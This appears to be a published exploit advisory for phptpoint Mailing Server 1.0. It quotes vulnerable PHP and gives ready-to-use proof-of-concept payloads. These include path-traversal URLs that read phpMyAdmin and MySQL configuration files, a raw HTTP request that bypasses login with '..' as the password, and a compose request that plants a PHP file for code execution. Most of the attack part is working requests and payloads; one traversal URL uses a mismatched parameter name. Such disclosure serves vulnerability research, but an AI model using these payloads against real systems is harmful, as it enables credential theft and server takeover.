# Exploit Title:  phptpoint Mailing Server Using File Handling 1.0 -
Arbitrary File Read
# Date: 2018-10-25
# Exploit Author: Boumediene KADDOUR
# Unit: Algerie Telecom R&D Unit
# Vendor Homepage: https://www.phptpoint.com/
# Software Link: https://www.phptpoint.com/projects/ignou-mca-projects/
# Version: 1.0
# Tested on: WAMP windows 10 x64
# CVE: unknown

# Description :
# phptpoint Mailing Server Using File Handling 1.0 suffers from multiple
Arbitrary File Read vulnerabilities in different sections that allow an
attacker to read sensitive files on the system, and so bypassing the login
page.

# Vulnerable Code:home.php

125 //for inbox
126 $coninb=$_GET['coninb'];
127 if(isset($coninb))
128 {
129 $fo=fopen("User_Data/$user/inbox/$coninb","r");
130 $filesize=filesize("User_Data/$user/inbox/$coninb");
131 $msg=fread($fo,$filesize);
132 echo $msg;
133 }

# PoC:
view-source:
http://127.0.0.1/Mailserver_filesystem/home.php?coninb=../../../../../../wamp64/apps/phpmyadmin4.8.3/config.inc.php
http://127.0.0.1/Mailserver_filesystem/home.php?coninb=../../../../../../wamp64/bin/mysql/mysql5.7.23/my.ini


134 //for sent
135 $consent=$_GET['consent'];
136 if(isset($consent))
137 {
138 $fo=fopen("User_Data/$user/sent/$consent","r");
139 $filesize=filesize("User_Data/$user/sent/$consent");
140 $msg=fread($fo,$filesize);
141 echo $msg;
142 }
# PoC:
view-source:
http://127.0.0.1/Mailserver_filesystem/home.php?consent=../../../../../../wamp64/apps/phpmyadmin4.8.3/config.inc.php
http://127.0.0.1/Mailserver_filesystem/home.php?consent=../../../../../../wamp64/bin/mysql/mysql5.7.23/my.ini
143 //for trash
144 $contrsh=$_GET['contrs'];
145 if(isset($contrsh))
146 {
147 $fo=fopen("User_Data/$user/trash/$contrsh","r");
148 $filesize=filesize("User_Data/$user/trash/$contrsh");
149 $msg=fread($fo,$filesize);
150 echo $msg;
151 }

# PoC:
view-source:
http://127.0.0.1/Mailserver_filesystem/home.php?contrs=../../../../../../wamp64/apps/phpmyadmin4.8.3/config.inc.php
http://127.0.0.1/Mailserver_filesystem/home.php?contrh=../../../../../../wamp64/bin/mysql/mysql5.7.23/my.ini

152 //for trash
153 $condrft=$_GET['condrft'];
154 if(isset($condrft))
155 {
156 $fo=fopen("User_Data/$user/draft/$condrft","r");
157 $filesize=filesize("User_Data/$user/draft/$condrft");
158 $msg=fread($fo,$filesize);
159 echo $msg;
160 }

# PoC:
view-source:
http://127.0.0.1/Mailserver_filesystem/home.php?condrft=../../../../../../wamp64/apps/phpmyadmin4.8.3/config.inc.php
http://127.0.0.1/Mailserver_filesystem/home.php?condrft=../../../../../../wamp64/bin/mysql/mysql5.7.23/my.ini

161 //for spam
162 $conspam=$_GET['conspam'];
163 if(isset($conspam))
164 {
165 $fo=fopen("User_Data/$user/draft/$conspam","r");
166 $filesize=filesize("User_Data/$user/draft/$conspam");
167 $msg=fread($fo,$filesize);
168 echo $msg;
169 }
# PoC:
view-source:
http://127.0.0.1/Mailserver_filesystem/home.php?conspam=../../../../../../wamp64/apps/phpmyadmin4.8.3/config.inc.php
http://127.0.0.1/Mailserver_filesystem/home.php?conspam=../../../../../../wamp64/bin/mysql/mysql5.7.23/my.ini



# Bypass Login page.
Sicne . and .. are considered as directories in Operations Systems, we can
pass any valid username and a valid directory or file on the system, which
will be considered as a valid password.
Vulnerable Code: login.php

6 if(isset($_POST['l']))
7 {
8 $email=$_POST['e'];
9 $pass=$_POST['p'];
10 if(file_exists("User_Data/$email") &&
file_exists("User_Data/$email/$pass"))
11 {
12 $_SESSION['user']=$email;
13 //header('location:home.php');
14 echo "<script>window.location='home.php'</script>";
15 }
16 else
17 {
18 echo "<h1 align='center'><font color='green' face='cursive'>Invalid
User</font></h1>";
19 }


# PoC:

POST /Mailserver_filesystem/index.php?option=login HTTP/1.1
Host: 172.16.122.4
Content-Length: 328
Cache-Control: max-age=0
Origin: http://172.16.122.4
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryj3oDIRYA36Vt2dpb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://172.16.122.4/Mailserver_filesystem/index.php?option=login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr;q=0.8,fr-FR;q=0.7
Cookie: resolve_ids=0; order_dir_list_by=1A;
PHPSESSIDwebERPteam=aaktuhmrlihn8c8v5pvscj62j5;
PHPSESSID=usnk2tfmjjp74ffpuqbfh9hvn1
Connection: close

------WebKitFormBoundaryj3oDIRYA36Vt2dpb
Content-Disposition: form-data; name="e"

hacker@ps.com
------WebKitFormBoundaryj3oDIRYA36Vt2dpb
Content-Disposition: form-data; name="p"

..
------WebKitFormBoundaryj3oDIRYA36Vt2dpb
Content-Disposition: form-data; name="l"

Login
------WebKitFormBoundaryj3oDIRYA36Vt2dpb--


# Arbitrary File upload to code execution


http://172.16.122.4/Mailserver_filesystem/User_Data/hacker@ps.com/inbox/abc@ps.com%20.php

POST /Mailserver_filesystem/home.php?option=compose HTTP/1.1
Host: 172.16.122.4
Content-Length: 75
Cache-Control: max-age=0
Origin: http://172.16.122.4
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://172.16.122.4/Mailserver_filesystem/home.php?option=compose
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr;q=0.8,fr-FR;q=0.7
Cookie: resolve_ids=0; order_dir_list_by=1A;
PHPSESSIDwebERPteam=aaktuhmrlihn8c8v5pvscj62j5;
PHPSESSID=usnk2tfmjjp74ffpuqbfh9hvn1
Connection: close

to=hacker@ps.com&sub=.php&msg=<?php phpinfo(); ?>&send=Send


# You can access the php file via this link.

http://yourIP/Mailserver_filesystem/User_Data/hacker@ps.com/inbox/hacker@ps.com.php